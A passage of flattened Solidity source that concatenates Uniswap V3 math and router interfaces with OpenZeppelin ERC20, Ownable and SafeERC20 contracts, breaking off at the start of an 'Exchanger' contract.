? tickHi : tickLow; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol'; import './IPoolInitializer.sol'; import './IERC721Permit.sol'; import './IPeripheryPayments.sol'; import './IPeripheryImmutableState.sol'; import '../libraries/PoolAddress.sol'; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager is IPoolInitializer, IPeripheryPayments, IPeripheryImmutableState, IERC721Metadata, IERC721Enumerable, IERC721Permit { /// @notice Emitted when liquidity is increased for a position NFT /// @dev Also emitted when a token is minted /// @param tokenId The ID of the token for which liquidity was increased /// @param liquidity The amount by which liquidity for the NFT position was increased /// @param amount0 The amount of token0 that was paid for the increase in liquidity /// @param amount1 The amount of token1 that was paid for the increase in liquidity event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when liquidity is decreased for a position NFT /// @param tokenId The ID of the token for which liquidity was decreased /// @param liquidity The amount by which liquidity for the NFT position was decreased /// @param amount0 The amount of token0 that was accounted for the decrease in liquidity /// @param amount1 The amount of token1 that was accounted for the decrease in liquidity event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when tokens are collected for a position NFT /// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior /// @param tokenId The ID of the token for which underlying tokens were collected /// @param recipient The address of the account that received the collected tokens /// @param amount0 The amount of token0 owed to the position that was collected /// @param amount1 The amount of token1 owed to the position that was collected event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender` /// @param params tokenId The ID of the token for which liquidity is being increased, /// amount0Desired The desired amount of token0 to be spent, /// amount1Desired The desired amount of token1 to be spent, /// amount0Min The minimum amount of token0 to spend, which serves as a slippage check, /// amount1Min The minimum amount of token1 to spend, which serves as a slippage check, /// deadline The time by which the transaction must be included to effect the change /// @return liquidity The new liquidity amount as a result of the increase /// @return amount0 The amount of token0 to acheive resulting liquidity /// @return amount1 The amount of token1 to acheive resulting liquidity function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //SPDX-License-Identifier: Unlicense pragma solidity >=0.7.6; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import '@uniswap/v3-core/contracts/libraries/TickMath.sol'; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/LiquidityMath.sol'; import '@uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol'; import '@uniswap/v3-core/contracts/libraries/SwapMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint128.sol'; import '@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol'; import './libraries/TickBitmap.sol'; contract Exchanger { using TickBitmap for IUniswapV3Pool; using SafeCast for uint256; using SafeCast for uint128; struct Slot0 { // the current price uint160 sqrtPriceX96; // the current tick int24 tick; // the 